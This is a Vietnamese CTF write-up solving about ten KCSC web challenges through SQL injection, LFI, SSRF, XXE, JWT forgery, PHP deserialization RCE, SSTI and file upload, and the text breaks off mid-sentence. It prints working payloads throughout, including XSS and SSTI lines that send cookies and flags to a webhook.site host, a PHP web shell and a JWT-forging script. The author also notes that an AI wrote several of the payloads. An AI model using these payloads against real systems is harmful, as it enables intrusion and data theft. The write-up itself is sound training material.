# Write-up KCSC CTF ## Santa's Shop ![Screenshot 2025-12-14 085319](https://hackmd.io/_uploads/H1ejO5izWe.png) khi đọc mô tả thì em nghĩ ngay đến dạng bài quen thuộc đó là mua cờ . Sau khi mở challenge lên thì em thấy form đăng nhập Vì đây chỉ là bài warm up , nên em nghĩ dùng sqli để log vào acc admin sau đó mua gift ![Screenshot 2025-12-14 085929](https://hackmd.io/_uploads/SyUGcqozZe.png) NHưng thử payload nào cx ko vào dc , nên em nghĩ phải log bằng acc khách ![Screenshot 2025-12-14 090138](https://hackmd.io/_uploads/HyQ95qoMWl.png) Đúng như em sự đoán , nhưng em chỉ có 100 coin ko mua dc ngay , em thấy có chức năng nạp coin và admin dashbroad , nhưng vào thì ko thấy gì đặc biệt Như một thói quen , em bấm vào src code để xem có gì đặc biệt ở chỗ những món quà thì BOOM nội dung khi mua quà lại để lộ thiên ![Screenshot 2025-12-14 091057](https://hackmd.io/_uploads/ry2pn5iG-e.png) và em đã có flag <pre>KCSC{m3rry_chr1stm4s_4nd_h4ppy_h4ck1ng}</pre> ## SECURE STORE ![Screenshot 2025-12-14 091410](https://hackmd.io/_uploads/SkJqa5ozbx.png) Bài này có thêm source code Sau khi vào web em thấy chả có gì để đăng nhập cũng như để input , nhưng sau khi ra soát một hồi em thấy chức năng này khá đáng ngờ![Screenshot 2025-12-14 091843](https://hackmd.io/_uploads/HJAcA5if-g.png) Cái System Audit này bấm vào dc , sau khi bấm vào em thấy nó cho mình nhập input ![Screenshot 2025-12-14 092055](https://hackmd.io/_uploads/rk5G1sjzWg.png) Em cứ nghĩ lỗ hổng bài này nằm ở đây nhưng sau một hồi thử , nó chỉ trả ra html của trang web , và chả có gì đặc biệt ở đó cả , sau đó em quay lại và tải source code để phân tích thêm Sau khi mở souce code lên thì em thấy khá nhiều file cần đọc trong file seed mình thấy có thứ khá thú vị ![Screenshot 2025-12-14 092800](https://hackmd.io/_uploads/HkWyZjif-g.png) biến code này có thể giúp mình có dc flag tiếp theo mình vào file guard.js thì mọi thứ đã sáng tỏ![Screenshot 2025-12-14 093024](https://hackmd.io/_uploads/BJAubjof-l.png) ở đây biến code ko dc valid , hoàn toàn có thể sử dụng sqli để bẻ gãy câu lệnh thêm nữa có một hàm checkVoucher với biến code , nếu độ dài của code > 18 thì trả về invalid cái , còn nếu 0<code<= 18 thì in ra một giá trị của discount vì sqli thường phải phải thứ với rất nhiều kí tự , nên tôi nghĩ đây là cách để chống sqli , sau đó em lên mạng để tìm cách bypass length với sqli thì em đã biết khi sử dụng mảng thì length (arr[])=1 . Đây chính mà mấu chốt Cuối cùng là file sever ![Screenshot 2025-12-14 094448](https://hackmd.io/_uploads/BkN3VjoMWe.png)Có end point là check-voucher Sau đó em tiến hành khai thác với endpoint là /check-voucher và Bùm ![Screenshot 2025-12-14 095210](https://hackmd.io/_uploads/S1xuIjsGbx.png)sqli 1000% lúc nãy ở trong file prisma em tháy trong hàm voucher có 3 model![Screenshot 2025-12-14 101923](https://hackmd.io/_uploads/r1WC2jifbe.png) , nên em nghĩ trong bảng voucher sẽ có 3 cột: id , code , discount em bắt đầu sử dụng UNION để nối ![Screenshot 2025-12-14 102610](https://hackmd.io/_uploads/SkfPCjjGWx.png)một đoạn chữ khá lạ hiện ra , sau đó em nhận ra trong cột code có 3 dòng , 2 dòng đầu đều là mã rác ( ở file prisma mà mình có gửi ở trên) , sau đó em thử tìm cách để bỏ qua 2 file này bằng cách dùng LIMT 1 OFFSET 2 và tadaa![Screenshot 2025-12-14 103354](https://hackmd.io/_uploads/Bk5Bl3ozWe.png) flag là <pre>KCSC{32b7d40c7b18a39bd47d249ef1}</pre> ## Hoshino Portal ![Screenshot 2025-12-14 120843](https://hackmd.io/_uploads/ry-OIpjM-x.png) Khi đăng nhập vào lab , em thấy có chức năng quên mật khẩu , khả lăng là sẽ dùng brute force để lấy opt sau đó đổ pass của admin sau đó em vào phần src code đầu tiên là init em thấy khá bình thường , nhưng khi sang phần admin thì em đã xác nhận dc 100% dự đoán ban đầu của em là đúng , vì khi log acc admin thì sẽ có flag luôn ![Screenshot 2025-12-14 121446](https://hackmd.io/_uploads/HkOCv6jz-l.png) ở phần resetpasswd em thấy cái !== 2 khá lạ , nó chỉ cần trả về 2 rows , chứ ko kiểm tra kiểu AND , nên em có thể dùng mail riêng chứ ko nhất thiết là mail admin tại nếu mail admin thì sẽ như sau![Screenshot 2025-12-14 123347](https://hackmd.io/_uploads/HyxIhpjz-e.png) nó sẽ tạo ra đoạn code uuid theo em dc biết thì cái code này khá dài và loằng ngoằng còn với user email thì lại đơn giản hơn , nó chỉ send code dạng AxxA trong đó A(A-Z) và xx(10-99) nên số trường hợp chỉ là 540 tới đây em định dùng intruder của burp suite để chạy nhưng em ko nạp vip nên nó chạy khá lâu , nên em sẽ nhờ ai viết script để chạy Trước tiên em sẽ đăng nhập với User:admin , email của em , code để trống và newpass:Hacked123!!! , sau khi ấn nút submit để nó send code ![Screenshot 2025-12-14 115533](https://hackmd.io/_uploads/rJLp06jM-e.png) em sẽ chạy script để đổi pass và đã thành công ![Screenshot 2025-12-14 124522](https://hackmd.io/_uploads/HJmZy0oGbg.png) và vào acc admin lấy flag ![Screenshot 2025-12-14 120825](https://hackmd.io/_uploads/rylXJRsz-g.png) flag: <pre>KCSC{Pr4ct1c3_M4k3s_P3rf3ct!_2a561747db90855b98ddeed0775fe64c}</pre> ## Santa's Shop Revenge đây là một bài với giao diện giống hệt bài ban đầu , nhưng trong src code đã ko còn lộ thiên flag nữa . Phán đoán đầu tiên của em là bài kia chưa buff dc tiền chắc là bài này sẽ buff được ![Screenshot 2025-12-14 190412](https://hackmd.io/_uploads/rk6TD73fbe.png) Khi mà check flag xem có lộ thiên không thì mình thấy cái này , mình thắc mắc sao file ảnh lại có .php thế kia , liệu chèn mã php vào đây có lấy dc gì ko Ý tưởng đầu tiên của em là sử dụng file path thì ad lại cho mình hint này ![Screenshot 2025-12-14 190812](https://hackmd.io/_uploads/Sk0a_mnMbx.png) sau đó em xóa hết ../ đi thì đã vào dc root , 100000% là LFI tiếp theo em sẽ tìm cách để vào dc ![Screenshot 2025-12-14 192150](https://hackmd.io/_uploads/Sk1gnXnGWx.png) nhưng mà có vẻ nó đã bị filter đi , nên tôi đã nhờ ai để bypass nó bằng image=php://filter/convert.base64-encode/resource=admin.php nhưng kết quả trả là chuỗi base 64 , sau khi tôi decode thì thấy có đường dẫn /secret.txt và localhost là 127.0.0.1![Screenshot 2025-12-14 192616](https://hackmd.io/_uploads/ryVZTm3GZx.png) khi em thay endpoint bằng /secret.txt thì nhận dc đoạn hint "ChiCon1BuocNuaThoi~_~" vậy là em đã đi đúng hướng rồi , bước cuối cùng em sẽ dùng ip 127.0.0.1 để hack coin vì trong cái mã php kia yêu cần ip , username và secret nên sẽ phải có đủ 3 điều kiện này image=http://127.0.0.1/admin.php?username=hehe%26coin=999999%26secret=ChiCon1BuocNuaThoi~_~ và em đã nhận dc 999999 coin vào acc hehe , sau đó em đăng nhập lại mua gift và đã có flag <pre>KCSC{do_you_have_the_ctrl_u_key_to_get_flags_UwU}</pre> ## Bảy Viên Bi Rồng ![Screenshot 2025-12-14 204620](https://hackmd.io/_uploads/rJUpkH3fZe.png) ý tưởng ban đầu là sẽ crack cái chỗ đăng nhập 7 ngày kia đi để triệu hồi rồng thần , sau khi đọc src code , em thấy ở file config.php có vấn đề , sau đó ![Screenshot 2025-12-14 210114](https://hackmd.io/_uploads/H1zOEShzbx.png) cookie ko dc valid , và em có thể sửa cookie để truy cập, sau khi log acc xong , object sẽ bị hủy và hàm destruct sẽ kiểm tra lại số bi rồng đã đủ 7 viên chưa , nếu đủ rồi thì nó sẽ chuyển sang hàm grant tiếp theo em vào file Wish.php có thể RCE cụ thể là hàm grant sau khi só bi =7 , với giá trị của callback và content bằng system (ko bị black list)![Screenshot 2025-12-14 212159](https://hackmd.io/_uploads/Hk6gTr2zWl.png) hướng đã rõ , bây giờ sẽ tiến hành khai thác , vì cookie dragon ball là môi trường php , em sẽ gậy ông đập lưng ông dùng chính nó để biến ra nhũng thứ em muốn ``` <?php $cmd = "ls -la"; class Wish { public $content; public $callback; } class Shenron { public $balls_collected; public $current_wish; } // Tạo payload $evil_wish = new Wish(); $evil_wish->callback = "system"; $evil_wish->content = $cmd; $evil_shenron = new Shenron(); $evil_shenron->balls_collected = 7; $evil_shenron->current_wish = $evil_wish; $payload = base64_encode(serialize($evil_shenron)); echo $payload; //payload sẽ encode thành base 64 ?> ``` sau đó e có một đoạn base64 , e chèn vào cookie thì nó sẽ hiện ra cái này ![Screenshot 2025-12-14 215242](https://hackmd.io/_uploads/rkoHkI2fZx.png) vậy 100% đã RCE được , tiếp theo e cần tìm xem file flag có dạng như nào bằng cách <pre>$cmd = "find / -name \"*flag*\"";</pre> và hóa ra nó vẫn như thường. Cuối cùng em $cmd = "cat /flag.txt"; và flag là <pre>KCSC{Sh3nR0n_S4ys_y0Ur_w1sh_f0R_rc3_1s_Gr4Nt3d_M4sT3r!!}</pre> ## Ka Cê Ét Cê trước hết khi xem src em thấy có file JWT , em nghi ngờ sẽ có JWT Token Bypass sau khi đọc 2 file JWT và KCSC , em thấy có điều rất kì lạ với token , ở bên JWT có 2 hàm gồm validatedtoken và decodeToken thế nhưng bên KCSC lại ko có hàm validatetoken , nghĩa là em có thể sửa token để đổi role , vì valid bên KCSC rất yếu ![Screenshot 2025-12-14 235105](https://hackmd.io/_uploads/HyN-RD3zWx.png) vậy là đã có chút hướng , em sẽ nhờ ai viết script để lấy faketoken , kéo xuống dưới thêm thì em thấy có đoạn XML có sử dụng LIBXML_DTDLOAD và LIBXML_NOENT <pre> $loaded = $dom->loadXML($xml_content, LIBXML_DTDLOAD | LIBXML_NOENT);</pre> đây là một cấu hình ko an toàn , vì bất kì mã XML nào vào cũng đều dc thực thi rồi em đọc file admin thì thấy <pre>try { const res = await fetch('/api/members/update.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ xml_content: content }) });</pre> với endpoint /api/members/update.php sẽ nhận xml content từ user chính là endpoint cần tìm để thực thi sau đó em bắt đầu khai thác , trước hết là script faketoken ![Screenshot 2025-12-15 004128](https://hackmd.io/_uploads/Bk3CUdhGbl.png) done , đây là đoạn token em nhận được , tiếp theo em sẽ dùng burp suite để khai thác ban đầu em gửi đi thì nó báo phải sử dụng method POST , sau đó em nhờ con ai viết xml để lấy flag ![Screenshot 2025-12-15 010256](https://hackmd.io/_uploads/Bk11nunGZx.png) em đã thêm Content-Type: application/json sever đọc dc vậy là ko đúng tên flag rồi , sau khi bí quá , em nhờ AI giúp thì em đã thử với /etc/passwd và ra dc thư mục root sau khi decode ,![Screenshot 2025-12-15 011430](https://hackmd.io/_uploads/HkrcR_3z-g.png) như vậy 10000% XXE luôn r . Sau đó em thử đọc với /index.php xem còn file nào đáng ngờ không thì em nhận dc 2 file này ![Screenshot 2025-12-15 011921](https://hackmd.io/_uploads/rJ9nkFhfZl.png) thử với /utils/KCSC.php thì em chỉ nhận dc một mã nguồn mới , quá bất lực , nên em hỏi con ai thì dc gợi ý là /proc/1/cmdline và đã thành công tìm dc /flag_f46ef942743225f094999b26af3080d0.txt bước cuối cùng là lấy flag thoai <pre>KCSC{0hh_w40000_chuc_mun9_b4n_d4_7r0_7h4nh_m07_7h4nh_v13n_cu4_kc5c_nh0000}</pre> ## Hori's Blog sau khi xem hint thì em đã mặc định k test vào mục upload file nữa mà chuyển sang target vào POST . em nghĩ nó sẽ bị reflect XSS nên em đã chèn script vào phần commet vì phần này ít khi bị để ý như phần tiêu đề <pre><script>fetch('https://webhook.site/63809f7c-9bf6-4e51-a2d7-641adbdf1a42?cookie='+document.cookie)</script></pre> ý tưởng ban đầu của em là sẽ chuyển hướng sang webhook để lấy flag , sau đó em copy link bài post và dán vào cho con bot để nó duyệt , và đã có request ở OOB nhưng cookie lại bằng (empty) , tôi có đi hỏi ai tại sao lại thế thì dc giải thích là có thể cơ chế bảo vệ HttpOnly , nó sẽ ko cho js đọc cookie này , sau một hồi em thử viết script để lấy cookie admin bằng cách tạo post với nội dung chứa mã độc , sau đó gửi cho con admin bot như đều thất bại , sau đó em có để ý là còn 1 cái mình chưa khai thác đó chính là cái phpinfo kia , em nhờ con ai phân tích xem trong này có gì lạ ko , thì nó bảo ko thấy có gì lạ , em nghĩ có thể do role của mình là user nên ko thấy flag , có thể nếu role em là admin thì sẽ lấy dc flag , nên em nhờ con ai viết hộ một câu lệnh kích hoạt với onerror , vì oob dc nên em vẫn sẽ dùng webhook để thực thi ``` <img src=x onerror="fetch('phpinfo.php').then(r=>r.text()).then(data=>{fetch(' https://webhook.site/63809f7c-9bf6-4e51-a2d7-641adbdf1a42',{method:'POST',body:btoa(data)})})"> ``` đây là đoạn script ai viết cho em , ý tưởng là em sẽ post lên một bài với nội dung này copy endponit sau khi vừa post bài ``` view.php?id=175db62fb567e934 ``` con bot đọc bài này , nó tưởng tệp ảnh nên sẽ đi tìm nguồn x , nhưng ko có , sau đó onerror sẽ dc thực thi , hàm fetch() sẽ lấy toàn bộ thông tin từ phpinfo với role admin của con bot , sau đó chuyển thành text rồi đóng gói gửi qua webhook dươi dạng base64 do hàm btoa mã hóa , method POST là để lấy được lượng dữ liệu lớn thay vì mặc định là GET , sau đó em qua webhook , lấy toàn bộ mã base64 ở phần raw copntent rồi decode nó ra ![image](https://hackmd.io/_uploads/HkbenwxXbl.png) copy đoạn này cho vào VS code ròi tìm chữ KCSC là có flag ròi ![image](https://hackmd.io/_uploads/SkSunPlQZg.png) ``` KCSC{PhP_InFO_d1sPl4Ys_c0okIe_iNf0rm4tiOn!!!} ``` Một bài khá mệt mỏi vì em đã thử rất nhiều script nhưng ko dc ạ huhu , sau bài này em thấy hàm fetch() thật sự mạnh quá!!! ## Ka Cê Ét Cê Revenge sau khi đọc xong src code thì em thấy bài này cách khai thác cũng na ná như bài Ka Cê Ét Cê , nhưng mà khó ở chỗ là bài này có đoạn validateToken quá mạnh![Screenshot 2025-12-16 163804](https://hackmd.io/_uploads/BJucdiRMWe.png) cụ thể là nó có hàm tạo chữ kí , và còn thiếu secret key , để tạo chữ kí khớp với role:admin , lược qua src code thì em thấy có file note.php , cũng giống bài trước nhưng để truy cập vào thì cần quyền của admin , sau đó em đã nghĩ đến hint trong file note.php kia thì em nghĩ bài này chắc phải đăng nhập vào acc admin , nên chắc pass của admin cũng dễ đoán em bắt đầu vào endpoint /api/login.php với method POST Content-Type: application/json rồi em bắt đầu brute force ![Screenshot 2025-12-16 170837](https://hackmd.io/_uploads/Hyqnk30Mbx.png) thì kết quả là token với role CTFer , nhưng em cần là role admin cơ , rồi em lại bắt đầu đi đoán passwd , em tìm trong các file trong src code để thử : nào là MAKE KMA GREATER , ADMIN_PASSWORD , hay thậm chí là câu nói trong note.php nhưng đều thất bại , sau đó em cố gắng bruteforce cới những cái khác , tốn rất nhiều thời gian khiến em phải khởi động lại challenge mấy lần huhu , sau đó em nghĩ đến việc là tạo token với role admin , nhưng vấn đề ở đây là chưa có secret key nên là vẫn ko thể tạo dc , lúc này em lại nghĩ chắc là đề cho sc key dễ đoán thôi , và em lại ngồi mò như password cơ nãy lại mất một mớ thời gian , sau khi quá bất lực với việc thử , em đã tạo ticket để xin hint xem là sc key/pass có thể đoán dc ko , thì dc gợi ý là có unintended , quá là ngon luôn , may là em giải bài kia trước , sau đó em bắt đầu mò lại thì dc sc key là <pre>b44a784d38b584cb651a2b47668cb7fbc9c351bf3d4d6029f1b27aa2196ac71d</pre> đến đây thì dễ roài hehe , vẫn là lỗ hổng XXE ở <pre>LIBXML_NOENT</pre> em bắt đầu nhờ con ai để viết script để tạo token cho nhanh ``` import base64, json, hmac, hashlib, time # CẤU HÌNH TỪ SCRIPT SECRET = "b44a784d38b584cb651a2b47668cb7fbc9c351bf3d4d6029f1b27aa2196ac71d" header = {"typ": "JWT", "alg": "HS256"} # Script set thời gian sống là 1 giờ (3600s) payload = { "username": "admin", "role": "admin", "iat": int(time.time()), "exp": int(time.time()) + 3600 } def b64(data): return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=') msg = f"{b64(header)}.{b64(payload)}" sig = hmac.new(SECRET.encode(), msg.encode(), hashlib.sha256).digest() sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=') print(f"{msg}.{sig_b64}") ``` và em đã có token với role admin <pre>token=eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIiwgImlhdCI6IDE3NjU4NzY4NTUsICJleHAiOiAxNzY1ODgwNDU1fQ.NHTl0P7E7FF6f18y6TWFIwXT1e9MpLiu69H0-zLumZQ</pre> đến đây thì đơn giản y như bài trước luôn rồi em sẽ khai thác với endpoint /api/members/update.php và kiểm tra với /proc/1/cmdline luôn ( đã rút dc kinh nghiệm từ bài trước hehe) và tìm dc mục /flag_f46ef942743225frvmgmbg939293402394.txt  cuối cùng em đọc flag như bài trước là ra luôn flag hehe <pre>KCSC{0hh_w40000_m07_l4n_nu4_m1nh_l41_chuc_mun9_b4n_d4_7r0_7h4nh_m07_7h4nh_v13n_cu4_kc5c_nh0000}</pre> sau bài này em rút dc kinh nghiệm là đừng cố chấp thử làm gì huhu ## Simple Web với yêu cầu của bài lab thì mục tiêu sẽ là login vào tài khoản admin , ban đầu em nghĩ log vào dc là sẽ có flag nhưng câu chuyện lại ko đơn giản như vậy, khi vào giao diện login ,theo thói quen em thử các case sqli cơ bản nhưng ko dc , em tạo acc guest để xem bên trong có gì thì phát hiện là tài khoản admin đã tồn tại .![Screenshot 2025-12-17 004444](https://hackmd.io/_uploads/ry09qMym-l.png) em vào /guest thì ko có gì đặc sắc ngoài hướng dẫn <pre>To unlock full features and access privileged areas, you need administrator privileges.</pre>, vậy là sẽ phải tìm cách để truy cập acc admin rồi , sau đó em xem lại hint thì có liên quan đến chuẩn hóa unicode , sau đó em tra mạng thì có dc vài cách khai thác , bây giờ em sẽ xem nó ở dạng gì , em thử đăng nhập tài khoản khách với username như sau ![Screenshot 2025-12-17 005529](https://hackmd.io/_uploads/B1WmaMJm-g.png) thì tạo tài khoản oke , nhưng khi mà em login thì nó lại fail , chắc chắn là cái ᵃdmin đã bị chuyển thành admin nên mới bị fail , vậy là em sẽ khai thác bằng cách này để login vào acc admin. sau đó em thử mới rất nhiều unicode nhưng đều thất bại cho đến khi em thử đến kĩ thuật phổ biến Dotless i chuyển từ <pre>i->ı(không chấm - U+0131)</pre> bởi ı ko phải là một kí tự trang trí mà nó là một kí tự riêng biệt trong bảng chữ cái , và mấu chốt ở đây là <pre>Khi i và ı viết hoa lên đều là I</pre> ,mà database thì lại ko phân biết hoa thường nên nó sẽ chuyển hóa thành I , mục tiêu là để qua mặt lớp bảo vệ đầu tiên (để bypass mật khẩu) , sau đó khi vào trong thì database sẽ thực hiện câu lệnh SELECT * FROM users WHERE username='admın' , sau đó nó trả về thông tin của admin sau đó thì bùm em đã vào dc admin panel , thế nhưng đời ko như là mơ , vẫn còn một thử thách đang chờ đó là nhập url sau đó mới nhận dc flag , mà url này nó chặn hầu hết các ip như 127.0.0.1 hay kể cả demical , nên em, nghĩ thử dùng unicode xem có bypass dc ko <pre>http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ/</pre> thì em đã nhận dc phần src code của bài lab ![Screenshot 2025-12-17 012422](https://hackmd.io/_uploads/HJUy4X17Zg.png) vậy là đã bypass thành công!! , mục tiêu tiếp theo là tìm flag , em đã thử với rất nhiều endpoint nhưng đều bị chặn hoặc not found(404) như http://ⓛⓞⓒⓐⓛⓗⓞⓢⓣ/flag , filter flag bằng các kí tự đặc biệt cũng ko dc . em đã thử với /etc/passwd thì đều ko có thông tin gì , sau đó em nghĩ đến path traversal để về root , sau đó truy cập chính xác file flag , nhưng lại dc ko báo là ko dc path traveral , em đã thử encode nhưng cx ko dc . sau đó em thử với kĩ thuật redirect của SSRF , em nghĩ file flag có nhưng mà em ko đọc trực tiếp dc mà phải qua oob , ban đầu em ngựa quá , ko thèm dùng webhook , em dùng DNS rebining để tạo ra một url khác , để port là 8.8.8.8 thì ra dc http://7f000001.08080808.rbndr.us/flag , nhưng vẫn ko đọc dc , lúc này em chắc chắn là sẽ pahri đọc ở ngoài rồi , nên mới bắt đầu chịu dùng webhook với payload <pre>http://①②⑦.⓪.⓪.①/flag?url=https://webhook.site/63809f7c-9bf6-4e51-a2d7-641adbdf1a42 </pre> và đã có dc flagg <pre>KCSC{Y0u_kn0w_uRl_Globbing}</pre> vậy là em đã biết thêm được cơ chế bypass của lỗ hổng unicode này hehehe , à và ko nên ngựa nữa:)) ## SECURE SHARE thoạt đầu em tưởng là lỗ hổng sẽ nằm ở ô input chỗ qr code , vì nó dc reflect trên url , nhưng sau một hồi em thử thì fail , sau đó em mở src code lên đọc em thấy bài này này bị filter rất kinh khủng ở white list hoặc cả black list , chặn hoàn toàn các câu lệnh để RCE , còn chặn cả dấu . để chống nối chuỗi nữa , thật sự là rất chặt ![Screenshot 2025-12-17 122950](https://hackmd.io/_uploads/HkSxxTk7bg.png) sau khi đọc thêm thì em thấy xuất hiện của $_SERVER['QUERY_STRING'] , nó sẽ lấy text ở sau dấu ? sau đó lưu vào biến $matches hàm eval() <pre>@eval ('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');</pre> , vấn đề ở đây là biến $matches sẽ lấy dữ liệu sau khi bypass dc lớp filter của sever và câu lệnh if sẽ bắt buộc phải chạy => đây chắc chắn để RCE 99.36% luôn , nhưng mà vấn đề là phải bypass dc lớp filter rồi làm gì thì làm , sau đó em có nhờ con ai để nghĩ cách bypass thì dc gợi ý là sử dụng hàm sys:gate() , hàm này sẽ in ra những thứ dc viết trong ngoặc , và điều rất quan trọng là regex đã bỏ qua <pre>' và "</pre> nên em sẽ thử với payload sau<pre>http://67.223.119.69:5019/index.php?{sys:gate(\forward_static_call(%27system%27,%27/readflag%27))}</pre> thì đã bị regex phát hiện , tiếp theo em sử dụng chuỗi str_replace kết hợp với comment /**/ để nối chuỗi thay cho "." <pre>?{sys:gate((('str_replace')/**/('_','','sys_tem'))/**/('/readflag'))}</pre> bằng burp suite thì đã có luôn flag ![Screenshot 2025-12-17 124821](https://hackmd.io/_uploads/r1PNVpkXZl.png) ``` KCSC{m0t_lan_nua_ban_da_lam_duoc_g00d_j0bbb!!!} ``` bài học rút ra là cứ thấy hàm eval() là 99.18% là RCE ## silver thoạt đầu vẫn là trang giao diện đăng nhập và em bắt đầu thử mấy payload cơ bản của sqli thì ko dc , sau khi đăng nhập với acc khách vào thành công thì em thấy hơi lạ http://67.223.119.69:33141/home?name=hehe sao cái biến name lại ở trên này , sau đó em sửa thành admin thì em thấy nó bị reflect ![image](https://hackmd.io/_uploads/SklBYMg7Wg.png) , em nghĩ biết đâu nó là xss , em bắt đầu thử với payload `<script>alert(1)</script>` và encode nó thì lại ko dc chắc là do đã bị cấm , nên em chạy cửa sau với `<img src=x onerror=alert(1)>` ![image](https://hackmd.io/_uploads/HJXE3GxQ-x.png) quá ngon nó đã bị reflect , xss đã thành công , đây là bài medium , nên em nghĩ ch thể lấy dc flag, vì còn chức năng em chưa dùng đó là con admin bot , có lẽ phải chiếm quyền admin , sau đó mới có dc flag , em sẽ gửi cho con bot này mã độc để sau khi nó truy cập sẽ tự động đưa cookie ra ngoài bằng kĩ thuật oob với webhook `http://localhost:5000/home?name=%3Cimg%20src%3Dx%20onerror%3D%22window.location%3D'https%3A%2F%2Fwebhook.site%2F63809f7c-9bf6-4e51-a2d7-641adbdf1a42%2F%3Fc%3D'%2Bdocument.cookie%22%3E` , sau em đã có dc cookie của admin `session=eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImFkbWluIn0.aUKfpA.IPk-F0ftuJkAPfiyZafe0dB4SZI` , sau đó em vào admin panel thì thấy có 2 options là src của trang và thêm một trang report nữa , em thử nhập mấy lệnh thì ko thấy trả về cái gì , sau đó em đọc src thì thấy có một hàm bị comment trong chức năng post kia <pre>// document.getElementById('previewContent').innerHTML = data.report;</pre> nên kết quả đã bị ẩn đi và có lẽ sẽ phải xem bằng oob ở đây sử dụng innerHTML chứ ko phải innertext nên khả năng là sẽ bị SSTI , và hàm `render_template_string(template_content)` sẽ biến đoạn trong ngoặc thành một chương tình chạy dc nên em bắt đầu thử với {{ 7*7 }} , sau đó qua network để coi có kết quả ko thì chỉ thấy hiện ![image](https://hackmd.io/_uploads/BkhMVXlXWg.png) có lẽ đây là blind SSTI sau đó em quyết định dùng oob với curl để đưa dữ liệu ra ngoài để xem <pre>{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl "https://webhook.site/63809f7c-9bf6-4e51-a2d7-641adbdf1a42?flag=$(cat flag.txt)"').read() }}</pre> rồi vào network xem thì thấy nó báo ko quá 55 kí tự , bí quá em nhờ con ai nghĩ cách thì nó chỉ cho em viết trong console , em sẽ dùng hàm fetch để chèn thêm ?a= sau đó tự gửi gói tin theo ý bản thân và sau a= em có thể viết bất cứ payload nào em muốn ( cái này là do ai chỉ cho em) , sau đó em đã nhờ ai viết để redirect ra ngoài như bên webhook lại ko có request nào , rồi em đưa cho ai kiểm tra lại 2 file docker thì phát hiện phiên bản python dùng là slim ko chạy dc curl , sau đó ai chỉ em viết python để gọi python ``` { var webhook = "https://webhook.site/63809f7c-9bf6-4e51-a2d7-641adbdf1a42"; var pythonCmd = `import os,urllib.request;urllib.request.urlopen('${webhook}?flag='+os.environ.get('FLAG','KhongThayFlag'))`; var cmd = `python -c "${pythonCmd}"`; console.log("Đang thử lệnh Python trực tiếp..."); fetch(`/admin/report-generator?a=${encodeURIComponent(cmd)}`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ // Payload RCE ngắn gọn (dưới 55 ký tự) template: "{{lipsum.__globals__.os.popen(request.args.a).read()}}", report_type: 'general' }) }) .then(r => r.json()) .then(d => { console.log("Đã gửi lệnh! Kiểm tra Webhook ngay lập tức."); console.log("Response:", d); }) .catch(e => console.error(" Lỗi:", e)); } ``` và bên webhook đã trả flaggg ` KCSC{G0tt4_h4ck_'3m_4ll!}` sau bài lab này em học dc khá nhiều thứ về python slim , về hàm fetch , và em vẫn chưa bắt dc con lugia huhu , mấy cái thẻ bài lừa em quá ## Cake Of Piece mới bước vào giao diện , cũng như bao bài lab khác em log acc guest vào xem có gì , thì trong này em thấy có chức săng search user và update to admin , trong chức năng search user thì em thấy có select table và order by , câu lệnh quen thuộc của sql , lướt qua phần update admin , thì cần secret code mới lên admin được , em nghĩ là phải dùng khả năng cao là chức năng search user bị sqli , từ đó em sẽ lấy dc code là lên admin , em bắt đầu tập tring đọc src code của file search ![image](https://hackmd.io/_uploads/r1m3_N-Qbg.png) các tham số tấn công sqli đã bị blacklist , 100% ở đây là sqli vấn đè là sẽ phải tìm cách bypass ![image](https://hackmd.io/_uploads/Hyd19EZX-e.png) sql sẽ ở đoạn này , em thấy câu lệnh SELECT có dấu ( nên trước tiên phải tạo dấu ) để ngắt câu lệnh `$checkint = (int)$orderBy;` ở đây có hàm kiểm tra xem chữ cái đầu tiên trong input có phải số nguyên hay ko , nên pay load đầu sẽ phải là 1)b để phù hơp với mySQL , sau đó e dùng JOIN để nối bảng mà em sẽ chèn mã khai thác , vì '," đều bị cấm nên em sẽ chuyển nó sang mã hex để bypass , sau đó em sử dụng kĩ thuật Error-base SQL bằng cách dùng dấu ~ nhưng sẽ bypass bằng mã hex và dùng hàm extractvalue() để lấy dữ liệu , em sẽ lấy dữ liệu từ cột secret_value mà ko cần role admin và sẽ lấy cột đầu tiên nên payload của em sẽ là `1)b JOIN (SELECT extractvalue(1,concat(0x7e,(SELECT secret_value FROM secret LIMIT 1),0x7e))` , em bỏ một dấu ngoặc đi vì nó sẽ tự thêm sẵn ) a cho em ![image](https://hackmd.io/_uploads/HyQk1SZmWg.png) em đã thấy dc nội dung của secret , nhưng đăng nhập vào lại ko dc , có thể nó vẫn chưa đủ `1)b JOIN (SELECT extractvalue(1,concat(0x7e,substring((SELECT secret_value FROM secret LIMIT 1),30),0x7e))` em dùng hàm substring và lấy từ kí tự thứ 30 ![image](https://hackmd.io/_uploads/S1XyxSZm-l.png) và đã có dc phần còn lại `Xa_H0i_n4y_l4m_g1..._c0_c4uyen_dung_v4_s4i` sau đó em đã upgrade lên admin , sau khi lên thì em thấy có thêm chức năng upload file nữa , em thử thạo một file shell.php cơ bản để thử upload xem có gì ko với nội dung là `<?php system($_GET['cmd']); ?>` thì em nhận dc một đường đẫn tới file path 0f579f27/shell.php , em thử chèn lên url`http://67.223.119.69:5016/0f579f27/shell.php?cmd=ls%20/` thì bị lỗi 404 ![image](https://hackmd.io/_uploads/rJjqWSWXbg.png) vậy là có để đường dẫn file đã sai , sau đó em có nhận dc hint là leak folder , có thể nó sẽ cho em đường dẫn đúng , sau đó em quay lại chức năng search để tìm từ bảng upload_folder thì có dc đường dẫn folder ![image](https://hackmd.io/_uploads/rkTJmBWQWx.png) là 0f579f27 hmmm nó trùng với cái của em , sau đó em có đọc lại Dockerfile và init.sql thì phát hiện là `UPLOAD_FOLDER_NAME=$(openssl rand -hex 12)\n\` cái thư mục này nó sẽ sinh ra 12 byte=24 kí tự và `echo "*/2 * * * * find ${UPLOAD_BASE_DIR}/*/ -mindepth 1 -delete 2>/dev/null" > /etc/cron.d/cleanup-uploads` cứ 2 phút nó sẽ sinh ra một lần( cái này là do ai phân tích hộ e:)) , em định là sẽ bypass bằng cách đổi đường dẫn thư mục này nhưng đều ko thành công ![image](https://hackmd.io/_uploads/ryJdIHbQWe.png) vậy là 